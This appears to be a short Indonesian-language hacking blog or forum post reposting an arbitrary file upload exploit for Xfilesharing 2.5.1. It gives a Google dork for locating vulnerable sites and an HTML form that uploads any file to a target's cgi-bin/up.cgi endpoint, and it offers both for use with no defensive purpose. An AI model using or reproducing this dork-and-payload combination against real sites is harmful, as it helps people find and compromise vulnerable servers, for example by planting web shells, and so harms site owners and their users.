Xfilesharing 2.5.1 - Arbitrary File Upload

Assalamualaikum Gengs :v

Sekedar Mengulas :v Artikel di tempat" lain
Example :Exploit-DB / CXSEC dll

Langsung ae :v

===============================
Google Dork : inurl:/?op=registration Xfilesharing
===============================

Source : https://cxsecurity.com/issue/WLB-2019110158

Nih CSRF na



<form action="http://xyz.com/cgi-bin/up.cgi" method="post" enctype="multipart/form-data"> <input type="text" name="sid" value="joe"> <input type="file" name="file"> <input type="submit" value="Upload" name="submit"> </form>